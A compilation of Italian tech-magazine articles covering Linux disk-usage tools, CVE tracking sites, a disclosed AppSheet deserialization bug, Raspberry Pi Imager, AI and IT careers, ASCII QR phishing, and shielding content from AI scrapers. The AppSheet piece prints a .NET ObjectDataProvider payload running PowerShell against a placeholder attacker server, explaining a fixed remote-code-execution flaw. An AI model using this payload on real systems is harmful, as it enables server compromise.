Se lo spazio disponibile inizia a diminuire, prima di tutto bisogna verificare quale filesystem sta effettivamente raggiungendo la saturazione. Nei sistemi Linux moderni il disco è spesso suddiviso in più filesystem montati in punti diversi dell’albero delle directory: /home può trovarsi su una partizione separata, alcune directory possono essere montate su volumi dedicati e gli ambienti di sviluppo o i container possono utilizzare mount point aggiuntivi. Prima di analizzare le singole directory è quindi necessario ottenere una panoramica della situazione. Il comando più semplice per questa verifica è df, che mostra lo spazio totale e quello utilizzato nei filesystem montati. Utilizzato con l’opzione -h restituisce dimensioni espresse in unità leggibili come megabyte o gigabyte.

La distribuzione dello spazio nelle directory

Il passo successivo consiste nel capire come lo spazio è distribuito tra le directory. Per questa operazione lo strumento principale è du (disk usage), che calcola la dimensione dei file e delle directory presenti in un determinato percorso. Usare:
du -sh *

produce un riepilogo delle dimensioni dei file e delle directory di primo livello e permette di individuare immediatamente quelle più grandi. Quando si analizza un filesystem molto grande può essere utile limitare la profondità della scansione con:
du -h –max-depth=1 /

In questo modo du calcola la dimensione delle directory immediatamente contenute in /, senza analizzare in dettaglio tutti i sottolivelli. Il comando fornisce quindi una panoramica rapida delle aree del filesystem che occupano più spazio, permettendo di ripetere l’analisi solo nelle directory più rilevanti. Spesso si usa anche:
du -h –max-depth=1 / | sort -h

per ordinare immediatamente le directory per dimensione.

Strumenti più evoluti

Quando la struttura delle directory diventa ampia o molto ramificata, l’analisi dello spazio con du richiede di ripetere il comando più volte scendendo progressivamente nell’albero delle directory, impiegando molto tempo. In questi casi è più efficace utilizzare strumenti progettati specificamente per l’analisi dello spazio disco, come ncdu, che esegue una scansione ricorsiva del filesystem e presenta i risultati in un’interfaccia testuale navigabile ordinata per dimensione.

Se preferite iniziare con una GUI, Disk Usage Analyzer (Baobab) esegue una scansione del filesystem e rappresenta l’utilizzo dello spazio con grafici circolari navigabili. Svolge in forma grafica un lavoro simile a quello ottenuto con strumenti come du o ncdu.

Scegliere tra NCDU, GDU E DUST

GDU (Go Disk Usage) è un analizzatore dello spazio disco scritto in Go e progettato per essere veloce anche nella scansione di directory molto estese, sfruttando tecniche di elaborazione parallela. Come NCDU, offre un’interfaccia interattiva nel terminale che consente di esplorare le directory ordinate per dimensione e di spostarsi rapidamente nei livelli più profondi dell’albero. La creazione più recente e l’uso di thread multipli rendono spesso la scansione più
rapida su dischi di grandi dimensioni o su sistemi con molti file. Un approccio diverso è quello adottato da DUST, uno strumento scritto in Rust che privilegia la visualizzazione sintetica e immediata dell’uso del disco. Invece di proporre una navigazione interattiva completa, crea una rappresentazione grafica direttamente nel terminale sotto forma di grafico a barre, che mostra le directory più pesanti della posizione analizzata. La scelta dello strumento dipende dal tipo di analisi che volete effettuare. NCDU rimane una soluzione molto diffusa quando si desidera un’interfaccia semplice e stabile per esplorare il filesystem direttamente dal terminale. GDU è spesso preferibile quando la velocità di scansione diventa critica, mentre DUST è particolarmente utile per ottenere rapidamente una panoramica visiva delle directory più grandi prima di procedere con un’analisi più dettagliata. A voi usarli al meglio.

Nel vasto e variegato panorama della sicurezza informatica, sono numerose oggi le piattaforme che supportano i professionisti IT, gli analisti e gli appassionati nel monitoraggio costante delle vulnerabilità più recenti.

PIATTAFORME ONLINE

Tra queste possiamo citare senza dubbio CVE Detail, disponibile su https://www.cvedetails.com/, un portale che offre un database completo basato sulle informazioni CVE (Common Vulnerabilities and Exposures). Il servizio raccoglie e organizza in modo dettagliato dati sulle vulnerabilità, corredandoli con avvisi, exploit, strumenti correlati e perfino modifiche al codice sorgente. Una risorsa preziosa per chi si occupa di analisi o di gestione del rischio informatico. Altro strumento utile, da citare è CVE Notifier (https://github.com/0xd3vil/CVE-Notifier), un nuovo progetto open source che fornisce un sistema di monitoraggio e allerta automatica delle nuove vulnerabilità. Gli utenti possono configurarlo per ricevere notifiche mirate relative a specifici vendor o prodotti, con avvisi tempestivi inviati su canali come Slack.

La banca dati ufficiale del governo USA, raggiungibile all’indirizzo https://nvd.nist.gov/vuln/search, mostra le ultime CVE individuate e consente di inserire il numero specifico delle vulnerabilità.

La possibilità di integrare facilmente il sistema nei propri progetti, grazie al codice sorgente e alle guide disponibili, lo rende una soluzione flessibile e adatta a contesti professionali diversificati. A livello istituzionale, un punto di riferimento per il contesto nazionale è il servizio Alert e Bollettini di CSIRT Italia (https://www.acn.gov.it/portale/csirt-italia/alert-e-bollettini). Questa piattaforma ufficiale, gestita dall’Agenzia per la Cybersicurezza Nazionale, pubblica con regolarità aggiornamenti, analisi tecniche e raccomandazioni pratiche per mitigare le vulnerabilità più gravi che interessano infrastrutture critiche e pubbliche amministrazioni. Tra le iniziative più recenti e orientate alla comunità, c’è da citare poi CVE Enrichment di Red Hot Cyber (https://www.redhotcyber.com), un servizio gratuito che consente di visualizzare in tempo reale le vulnerabilità pubblicate sul National Vulnerability Database (NVD). Offre filtri per gravità e vendor, permettendo agli  amministratori di individuare i problemi.

Alert pubblicati dal CSIRT Italia tra l’11 e il 12 novembre 2025: aggiornamenti di sicurezza per Ivanti e Microsoft, una patch per Zimbra e un PoC per la CVE-2025-64495 su Open WebUI.

Un servizio di rilievo internazionale è il sito VulDB (https://vuldb.com), una piattaforma statunitense che raccoglie, arricchisce e correla dati sulle vulnerabilità note, fornendo dettagli tecnici, exploit associati e indicatori di compromissione (IoC). Grazie alla collaborazione con ricercatori di tutto il mondo, aggiorna costantemente il proprio archivio e consente di tracciare l’intero ciclo di vita delle vulnerabilità. Concludiamo questa carrellata di servizi per il monitoraggio CVE con https://www.exploit-db.com/. Si tratta di un archivio pubblico di exploit, proof-of-concept e risorse per penetration tester e ricercatori, mantenuto da Offensive Security. Permette ricerche per CVE, exploit remoti e locali, shellcode e include la Google Hacking Database. Con lo
strumento SearchSploit è possibile consultare il DB offline. Fornisce statistiche, paper e feed utili per integrare intelligence e test di sicurezza nelle operazioni aziendali.

Ormai da anni, esistono strumenti che permettono di sviluppare applicazioni senza scrivere del codice, ma semplicemente collegando tra loro fonti di dati con una sorta di “programmazione visuale”. In pratica, si usa un editor grafico per costruire un diagramma di flusso delle operazioni previste, al fine di automatizzare alcune specifiche operazioni. Per esempio, una scuola potrebbe preparare un form per permettere ai genitori di specificare delle preferenze per la mensa e poi inviare le statistiche calcolate sui risultati del “sondaggio” alla società che si  occupa di fornire il cibo agli studenti. Questo permetterebbe di evitare la distribuzione di centinaia di moduli cartacei
che dovrebbero poi essere ricopiati a mano, per aggregare e inviare manualmente i risultati al destinatario. Naturalmente, il fatto che questi strumenti possano essere usati da persone che non hanno competenze di programmazione è di per sé un problema: è meno probabile infatti che possano comprendere le implicazioni di alcune condizioni o i rischi derivanti dal concedere più autorizzazioni del dovuto… Ma, al di là di tutto ciò, esistono oggi numerosi strumenti che offrono questo servizio a tutti. Uno dei più noti è senza ombra di dubbio: AppSheet.

IL PUNTO SBAGLIATO

Prima di andare avanti, è necessario chiarire un punto. Ovvero, che questa programmazione “senza codice” non è davvero “senza codice”. Il codice c’è, almeno sotto la scocca! Già, perché i vari task vengono eseguiti sui server di Google sulla base delle informazioni inserite dall’utente, grazie a degli algoritmi predefiniti, scritti in vari linguaggi. Non è dato sapere i dettagli, ma sicuramente per alcune cose viene utilizzato del codice .NET. Ed è proprio in questo
che è stata scoperta una vulnerabilità del sistema!

IL CASO APPSHEET

Il problema di fondo era nella “serializzazione degli oggetti”. Quando un utente progettava una applicazione su AppSheet, sostanzialmente aggiungeva componenti e li configurava tramite dei wizard. Questi memorizzavano le varie configurazioni, che erano solitamente dei dizionari o comunque degli oggetti più o meno complessi, in forma serializzata, cioè li traducevano in testo. Un dizionario, infatti, può facilmente essere serializzato sotto forma di JSON. Il problema di questa cosa è che, se il tipo di dato non viene esplicitato, il sistema può incappare in  un’ambiguità nel momento in cui il dato viene deserializzato, per andare a costituire l’oggetto originale. In certi casi il sistema può utilizzare dei meccanismi automatici: può cercare di capire se un elemento è un numero oppure un testo. Il problema si pone nelle varie tipologie di testo, che in alcuni casi possono andare a creare oggetti più complessi, come componenti .NET. Se l’algoritmo suppone che un certo testo sia la forma serializzata di un oggetto di tipo URL, cercherà di utilizzarlo per fare una chiamata HTTP. Se invece pensa che debba essere un oggetto di tipo “shell di sistema”, cercherà di eseguire il comando. Se il sistema non controlla il tipo di dato che dovrebbe aspettarsi, è possibile per l’utente inserire come testo un oggetto serializzato, e a quel punto il sistema cercherebbe di deserializzarlo.

L’interfaccia di AppSheet offre un editor grafico per comporre la vista di una applicazione. FONTE: https://www.appsheet.com/

AUTOMATICO

Nel caso di AppSheet, si è scoperto che era possibile creare un’applicazione con un Bot da eseguire automaticamente.
Questo Bot poteva avere uno Step, cioè un passaggio del cronjob, di tipo webhook. Dopo, AppSheet permetteva di definire il necessario per fare una chiamata HTTP verso un webhook. Ciò significa che si poteva definire il metodo della chiamata, l’URL da contattare e il payload completo della chiamata. In teoria, il payload poteva contenere i parametri che erano passati al webhook, ma bisognava tenere a mente che in alcuni di questi potevano esserci anche oggetti dell’applicazione. E quindi il payload veniva serializzato. Il problema è che un malintenzionato poteva scrivere un payload che, una volta deserializzato, andava a produrre un oggetto pericoloso! Un esempio di codice?
Eccolo…

{
“$type”: “System.Windows.Data.
ObjectDataProvider, Presenta
tionFramework, Version=4.0.0.0,
Culture=neutral, Publi
cKeyToken=31bf3856ad364e35”,
“MethodName”: “Start”,
“MethodParameters”: {
“$type”: “System.Col
lections.ArrayList, mscorlib,
Version=4.0.0.0, Culture=-
neu tral, PublicKeyToken=b77a
5c561934e089”,
“$values”: [
“Cmd”,
“/c powershell -com
mand \”Invoke-WebRequest -URI
http://attacker-server.com\””
]
},
“ObjectInstance”: {
“$type”: “System.Diagno
stics.Process, System, Ver
sion=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089”
}
}

Il risultato è che il deserializzatore generico interpretava questo testo come un oggetto .NET che conteneva un oggetto System.Diagnostic.Process. Cioè, un processo, che viene lanciato con la riga di comando specificata tra i MethodParameters:

powershell -command \
”In voke-WebRequest -URI
http://attacker-server.com\”

Appena il deserializzatore creava l’oggetto, cercava il suo metodo Start e lo chiamava: siccome questa è la funzione che lancia il comando, esso viene eseguito immediatamente sul server di Google. In tal caso il comando era solo un test, che fa una semplice chiamata HTTP a un server Web scelto dal malintenzionato. Ma è ovvio che poteva essere utilizzato un qualunque comando PowerShell. Sarebbe stato persino possibile scaricare ed eseguire un intero script PowerShell. Il risultato è una Remote Code Execution da manuale!

Il report che ha segnalato la vulnerabilità per la prima volta. FONTE: https://bughunters.google.com/.

L’ENTITÀ

Di fatto, questa vulnerabilità permetteva di creare una sorta di botnet sulla rete di Google. Se infatti avesse voluto attaccare un sito Web, per esempio, avrebbe dovuto semplicemente creare un buon numero di applicazioni di questo tipo, che eseguivano una serie di cicli di richieste HTTP verso il sito vittima, bombardandolo di richieste mandandolo offline. Non solo: siccome eventuali attività eseguite da questi bot sarebbero risultate provenire da una rete di proprietà di Google, e quindi generalmente considerata sicura, sarebbe stato facile attaccare altri servizi senza farsi identificare facilmente! È chiaro che per creare queste applicazioni serviva un account Google e un pagamento con carta di credito, quindi almeno una qualche forma di identificazione c’era e sarebbe stata teoricamente possibile risalire al malintenzionato…
Inoltre, questo tipo di “innesco” della vulnerabilità non era ideale per generare delle reverse shell, perché sfruttava operazioni pianificate che giravano in ambienti con una durata ridotta, quindi almeno l’utilizzo era leggermente più limitato. Il bug, scoperto qualche anno fa, è stato reso pubblico solo di recente e metteva a rischio i server di un big come Google ma, teoricamente, non i dati degli utenti. Appena ricevuta la segnalazione, BigG ha ricompensato chi ha scoperto tutto con diecimila dollari e ha modificato AppSheet forzando la dichiarazione del tipo di dato per gli oggetti serializzati, così da risolvere alla radice il problema. Nessuna delle applicazioni esistenti ha avuto bisogno di  modifiche, visto che il bugfix non ha avuto alcun impatto sul frontend di AppSheet. Speriamo non si ripeta…

Imager è lo strumento ufficiale di scrittura delle immagini sviluppato dalla Raspberry Pi Foundation, pensato per semplificare la preparazione dei supporti di memorizzazione per i dispositivi Raspberry Pi. La versione 2.0 rappresenta una riprogettazione completa dell’interfaccia piuttosto che un aggiornamento incrementale.

La versione 2.0 rappresenta una riprogettazione completa dell’interfaccia piuttosto che un aggiornamento incrementale e introduce una pratica visualizzazione guidata

Le novità in pillole

Introduce un’interfaccia guidata passo per passo che accompagna l’utente attraverso una sequenza di fasi ben distinte, che includono la selezione del modello di Raspberry Pi, la scelta del sistema operativo, l’individuazione del dispositivo di destinazione, la configurazione del sistema, la scrittura dell’immagine e il completamento del processo. Ogni fase occupa l’intera finestra dell’applicazione, offrendo spazio per spiegazioni, messaggi di validazione e informazioni contestuali, riducendo l’affollamento visivo e rendendo più accessibili anche le configurazioni avanzate. Integra inoltre la possibilità di preconfigurare Raspberry Pi Connect durante il processo di scrittura dell’immagine: autenticandosi in questa fase, il dispositivo risulta già collegato al proprio account al primo avvio, consentendo subito l’accesso remoto tramite condivisione dello schermo o shell. L’accessibilità è un elemento centrale della
riprogettazione, con controlli etichettati per i lettori di schermo, navigazione completa da tastiera e più attenzione al contrasto dei colori e alla disposizione degli elementi. La nuova combinazione cromatica e l’uso generoso dello spazio bianco contribuiscono a migliorare la leggibilità e la chiarezza dell’interfaccia, rendendo Imager più fruibile per un pubblico ampio, compresi i novizi.

Leggi anche: “Media Center sulla Raspberry“

La sensazione che l’IA stia “portando via il lavoro” a chi opera nell’IT è comprensibile. Negli ultimi anni avete visto strumenti capaci di scrivere codice plausibile, suggerire configurazioni di sistema, spiegare log complessi, generare playbook o script di automazione in pochi secondi. Attività che fino a poco tempo fa richiedevano tempo, esperienza e spesso una buona memoria tecnica oggi sembrano improvvisamente a portata di prompt. Ma fermiamoci un attimo su un punto chiave: l’IA non sta sostituendo i ruoli, sta comprimendo il valore delle mansioni più ripetitive e standardizzabili. Ed è un fenomeno che chi lavora nell’IT ha già visto molte volte, dall’automazione dei data center alla virtualizzazione, dal cloud all’infrastructure as code.

Lo stato reale delle cose, senza allarmismi

Oggi l’IA funziona molto bene quando il problema è ben delimitato, descritto in modo chiaro e privo di ambiguità. Se le date una funzione da scrivere, una configurazione da tradurre, un errore da interpretare o una procedura da spiegare, produce risultati utili e spesso sorprendenti. Questo perché lavora in un dominio che le è congeniale: testo, pattern, esempi già visti. Dove invece fatica (e continuerà a farlo a lungo) è nel mondo reale dell’IT operativo. Qui le decisioni non sono mai solo tecniche. Entrano in gioco vincoli organizzativi, storici, politici, economici. Sistemi che “non si possono toccare” per ragioni non documentate. Scelte fatte anni prima da persone che non ci sono più. Priorità che cambiano in base al contesto aziendale più che alla qualità tecnica di una soluzione. L’IA può suggerire come fare qualcosa, ma non sa quando è il momento giusto per farlo, perché una soluzione è preferibile a un’altra in quell’organizzazione specifica, o quali conseguenze sistemiche avrà una modifica apparentemente innocua.

Preoccupati che l’IA vi rubi il lavoro? Non siete i soli: https://willrobotstakemyjob.com è un sito Internet che valuta il rischio che il vostro tipo di lavoro sia presto automatizzato

Se siete sysadmin

Il vostro valore non sta più nel saper configurare un servizio, ma nel sapere cosa succede quando qualcosa va storto. L’IA può suggerire una configurazione di Nginx o un playbook Ansible, ma non conosce la storia della vostra infrastruttura, le sue cicatrici, i suoi compromessi. Diventate indispensabili quando siete quelli che conoscono davvero il comportamento reale dei sistemi: quali
servizi reggono i picchi e quali no, dove sono i veri single point of failure, quali automazioni sono sicure e quali possono causare disastri silenziosi. Questo significa investire tempo nell’osservabilità, nei log, nei post-mortem, nella documentazione viva di ciò che è successo davvero, non di ciò che “dovrebbe succedere”. Un altro punto cruciale è la responsabilità. L’IA non firma un change, non decide se è il momento giusto per aggiornare un cluster critico, non valuta l’impatto organizzativo di un downtime. Se diventate la persona che sa dire “questa cosa tecnicamente si può fare, ma operativamente è rischiosa”, state già giocando su un piano che l’automazione non copre.

Se siete programmatori

La minaccia non è che l’IA scriva codice al posto vostro, ma che scriva lo stesso codice che scrivereste voi se vi limitate a risolvere task isolati. Il codice in sé sta diventando una commodity; il contesto in cui quel codice vive no. Diventate indispensabili quando sapete progettare sistemi, non solo funzioni. Quando capite il debito tecnico, lo riconoscete prima che esploda e sapete spiegare perché “questa scorciatoia oggi ci costerà mesi domani”. L’IA può generare soluzioni eleganti, ma non sente il peso della manutenzione a lungo termine, né lavora nello stesso codebase da cinque anni. C’è poi un aspetto spesso sottovalutato: la capacità di revisione critica. Saper leggere codice generato, individuare problemi di sicurezza, edge case mancanti, assunzioni sbagliate. In molte organizzazioni, il valore si sposterà sempre di più da “scrivere codice” a validare, integrare e rendere sicuro codice scritto anche da altri (umani o IA).

Uno dei termini più menzionati in tema di sviluppo e IA è il debito tecnico. Lasciare che un LLM scriva buona parte del codice va bene ma va supervisionato con cura!

Se lavorate in DevOps/Platform/SRE

Se operate in ruoli DevOps o Platform, siete in una posizione strategica. Il vostro lavoro vive esattamente al confine tra sviluppo, operazioni e organizzazione, ed è un confine che l’IA fatica ad attraversare. Diventate indispensabili quando progettate piattaforme che tengono conto non solo della tecnologia, ma delle persone che le useranno. Pipeline comprensibili, sistemi di deploy che
riducono l’errore umano, ambienti che rendono difficile fare danni quando qualcosa va storto. L’IA può suggerire una pipeline CI/CD, ma non sa se il vostro team la userà davvero o la aggirerà. Inoltre, siete quelli che vedono l’intero flusso: dal commit in repository fino al servizio in  produzione. Questa visione sistemica è rarissima e preziosa. Coltivatela, documentatela, rendetela esplicita: è ciò che vi rende difficili da sostituire.

Se siete figure junior o in crescita

Se siete all’inizio, l’IA può sembrare schiacciante: fa in pochi secondi ciò che voi state ancora imparando. Qui il rischio è cercare di competere sul terreno sbagliato. Non cercate di essere più veloci dell’IA. Cercate di capire perché una soluzione funziona, non solo che funziona. Usate l’IA come tutor, non come scorciatoia: chiedetele spiegazioni, alternative, limiti. Ogni risposta che accettate senza comprenderla vi rende più deboli, non più produttivi. Chi cresce davvero è chi sviluppa presto senso critico, capacità di fare domande e di collegare i pezzi. L’IA accelera  l’apprendimento, ma solo se siete voi a guidarlo.

Se avete responsabilità tecniche o di coordinamento

Se avete ruoli di responsabilità, il vostro compito è forse quello che cambia di meno, ma diventa più
evidente. L’Intelligenza Artificiale non gestisce persone, non media conflitti, non decide priorità sotto pressione. Diventate indispensabili quando sapete tradurre obiettivi di business in scelte tecniche sensate e, al contrario, spiegare limiti tecnici a chi prende decisioni strategiche. In un mondo in cui “l’IA può fare tutto” è una narrazione diffusa, chi sa dire cosa non va fatto e perché
diventa una figura chiave.

Gli hacker hanno trovato un nuovo modo per nascondere truffe e tentativi di phishing dentro le e-mail: trasformare i codici QR in semplici simboli di testo. Secondo Kaspersky, questa tecnica permette di aggirare molte difese automatiche che di solito controllano le immagini o i link sospetti presenti nei messaggi di posta. Nella seconda metà del 2025, l’azienda ha registrato un aumento di cinque volte degli attacchi di phishing basati su QR code, e ora questa nuova variante rende il problema ancora più insidioso.

Come funziona l’attacco

A prima vista può sembrare un dettaglio curioso, ma il trucco è ingegnoso. Invece di inserire il classico codice QR come immagine quadrata in bianco e nero, i criminali lo “disegnano” usando lettere, numeri e simboli. È una tecnica che richiama la vecchia grafica ASCII, quella usata decenni fa quando i computer non riuscivano ancora a mostrare vere immagini e le figure venivano costruite con caratteri di testo. In pratica, il QR non è più una foto o un file grafico, ma una specie di mosaico fatto di segni tipografici.

Un codice QR dannoso composto da stringe di caratteri di testo

Perché farlo?

Perché molti sistemi di sicurezza delle e-mail cercano elementi pericolosi analizzando immagini o link. Se invece il codice è composto da testo, alcuni controlli potrebbero non riconoscerlo subito come un QR code dannoso. È un po’ come scrivere un messaggio segreto in un modo che una persona capisce al volo, ma una macchina fa più fatica a interpretare.

Lo schema della truffa resta però molto familiare. La vittima riceve una mail che sembra arrivare da un partner commerciale o da un servizio noto, per esempio una richiesta di firmare un documento tramite DocuSign. Nel messaggio compare il QR “testuale” e l’utente viene invitato a scansionarlo con lo smartphone per aprire il documento. A quel punto, però, non si apre un portale legittimo, ma una pagina falsa che chiede di inserire credenziali aziendali o altri dati sensibili.

Un esempio di grafica ASCII

Ed è proprio qui che il phishing diventa più efficace. Usare il telefono per scansionare un codice crea una sensazione di normalità: molte persone pensano che il QR sia solo un collegamento pratico e abbassano la guardia. Inoltre, sullo schermo di uno smartphone è più facile non notare dettagli sospetti, come un indirizzo web leggermente modificato o una pagina fatta per imitare un servizio autentico.

Un QR code creato con simboli di testo dovrebbe far scattare subito un campanello d’allarme, soprattutto se chiede di inserire credenziali di lavoro. In generale, quando una e-mail invita a usare il telefono per accedere a documenti riservati o per eseguire verifiche urgenti, conviene fermarsi un attimo e controllare bene il mittente, il contesto e l’indirizzo del sito di destinazione.

*Illustrazione progettata da Kaspersky

Una volta che avete messo qualche barriera a livello di accesso, il passo successivo è più sottile e, in molti casi, più efficace: progettare i contenuti stessi pensando a come verranno letti dalle macchine, non solo dagli esseri umani. Qui non si tratta di “bloccare”, ma di cambiare il rapporto  costo/beneficio per chi raccoglie dati su larga scala.

Testi: chi non volete come lettore?

I modelli linguistici funzionano al meglio quando trovano testi lineari, ben strutturati, semanticamente puliti e privi di ambiguità. È esattamente il tipo di scrittura che, per anni, abbiamo cercato di ottimizzare per i motori di ricerca e per la documentazione tecnica. Oggi, però, quella stessa chiarezza è un vantaggio anche per chi addestra modelli. Un primo approccio consiste nel cosiddetto watermarking stilistico. Non parliamo di marchi visibili o avvisi legali, ma di scelte ricorrenti di stile che diventano una sorta di firma. Un certo modo di introdurre i concetti, una struttura sintattica riconoscibile, l’uso sistematico di alcune formule o transizioni. Tutti elementi che non disturbano la lettura umana, ma che rendono più facile riconoscere quel testo se riappare altrove sotto forma di output generato. Un’altra tecnica molto efficace è la pubblicazione differenziata. In pratica, si separa il contenuto indicizzabile da quello ad alto valore. La parte pubblica serve a spiegare il contesto, a far capire che quel contenuto esiste e a offrire abbastanza informazioni per orientarsi. La parte realmente preziosa, quella che contiene il know-how completo, resta accessibile solo tramite autenticazione, download on-demand o canali non direttamente crawlable. Dal punto di vista editoriale è una scelta matura, non difensiva: state decidendo consapevolmente dove termina l’informazione pubblica e dove inizia il patrimonio che volete controllare. C’è poi un aspetto più tecnico ma spesso sottovalutato: i contenuti dinamici. I crawler, umani o artificiali, preferiscono HTML statico e facilmente replicabile. Quando parti del testo vengono generate a runtime, dipendono da sessioni o da parametri contestuali, la raccolta massiva diventa più costosa e meno affidabile. Non serve trasformare tutto in un’applicazione complessa; basta rendere dinamiche le sezioni che contano davvero. Per esempio potreste fare, in PHP:

<?php
session_start();
$variants = [
“In questa sezione analizziamo il flusso completo
di inizializzazione del servizio, partendo dal bootstrap
fino alla gestione degli errori.”,
“Qui viene descritto il ciclo di inizializzazione del
servizio, dal bootstrap iniziale alla fase di gestione
delle condizioni di errore.”,
“In questo passaggio approfondiamo l’intero
processo di avvio del servizio, includendo bootstrap e
meccanismi di gestione degli errori.”
];
if (!isset($_SESSION[‘text_variant’])) {
$_SESSION[‘text_variant’] = array_rand($variants);
}
$dynamic_text = $variants[$_SESSION[‘text_variant’]];
?>

E poi ovviamente nel template:
<section class=”deep-content”>
<p><?= htmlspecialchars($dynamic_text) ?></p>
</section>
Non serve generare intere pagine dinamiche. Basta che le parti ad alto valore non siano  byteidentiche nel tempo.

Il problema dei crawler dell’IA è così significativo che ci sono servizi, come https://darkvisitors.com/, che permettono di analizzarli e tracciarli

Il codice: resistete alla tentazione

Il codice è probabilmente il tipo di contenuto più ambito dagli LLM, perché è strutturato,  verificabile e immediatamente riutilizzabile. Pubblicarlo in forma grezza e completa equivale, di fatto, a offrirlo su un piatto d’argento. E nonostante questo non vi diremo di proteggerlo. La spiegazione è semplice: la maggior parte delle strategie richiede offuscazione, riduzione della documentazione e dei commenti e minore apertura del codice stesso. Tutto, insomma, profondamente contrario ai principi Open Source. Naturalmente potete sempre evitare di condividere il vostro codice ma vale davvero la pena?

I dataset: valgono come oro

Se gestite dataset, siete nella posizione più delicata. Sono il carburante diretto dell’addestramento e, una volta persi, è impossibile recuperarne il controllo. Il primo errore da evitare è il download anonimo. Un dataset accessibile senza frizioni verrà copiato, archiviato e probabilmente riutilizzato senza che possiate nemmeno accorgervene. Introdurre una minima barriera, come la registrazione o l’accettazione esplicita dei termini, cambia in modo radicale la situazione. Non tanto perché impedisce l’abuso, ma perché rende l’uso tracciabile e giuridicamente qualificato. Un approccio ancora più efficace è evitare del tutto la distribuzione del dataset completo. In molti casi è possibile offrire accesso tramite query, API o sottoinsiemi controllati. Chi vuole davvero lavorare con quei dati può farlo, ma senza ottenere una copia completa pronta per l’addestramento indiscriminato. Infine, le clausole anti-training. Vietare esplicitamente l’uso dei dati per addestramento, finetuning
o modelli generativi non è una garanzia tecnica, ma è una dichiarazione forte. Serve a chiarire le condizioni, a rafforzare eventuali azioni future e a disincentivare l’uso opportunistico.

IMMAGINI: QUALITÀ VISIVA SÌ, QUALITÀ PER L’ADDESTRAMENTO NO

Il Glaze Project è un insieme di strumenti di ricerca sviluppati dalla University of Chicago con l’obiettivo di aiutare gli artisti a proteggere le proprie opere contro l’uso non autorizzato da parte di modelli generativi IA, in particolare contro lo scraping massivo e la style mimicry, cioè la capacità dei modelli di imitare lo stile di un artista. Glaze modifica le immagini in modo minimale e quasi impercettibile all’occhio umano, ma abbastanza diverso da far sì che un modello IA le interpreti come appartenenti a un altro stile se le include nel training. In pratica cambia la “percezione IA” senza modificare quella umana: se un AI model cerca di replicare lo stile originale, finisce con output strani o non riconducibili. Nightshade è concepito come uno strumento più aggressivo: applica perturbazioni che spingono il modello ad associare quindi l’immagine a una identità completamente diversa all’interno del processo di training. È come inserire una “poison pill” che distorce le associazioni interne del modello se quella immagine viene usata nei dati. Entrambi gli strumenti hanno lo scopo di dissuadere o disturbare l’uso non consensuale delle opere nei dataset di addestramento, ma non sono soluzioni perfette e dipendono da come evolvono i modelli IA. Siccome al momento sono solo disponibili localmente per Windows e macOS, potete chiedere l’accesso alla versione online gratuita che permette di caricare immagini attraverso il browser e ottenere l’immagine glazed.

Una strategia di lotta contro l’uso indiscriminato dei vostri contenuti visivi per l’addestramento dell’IA è data dal Glaze Project (https://glaze.cs.uchicago.edu/), che “avvelena” le immagini senza modifiche percettibili dal nostro occhio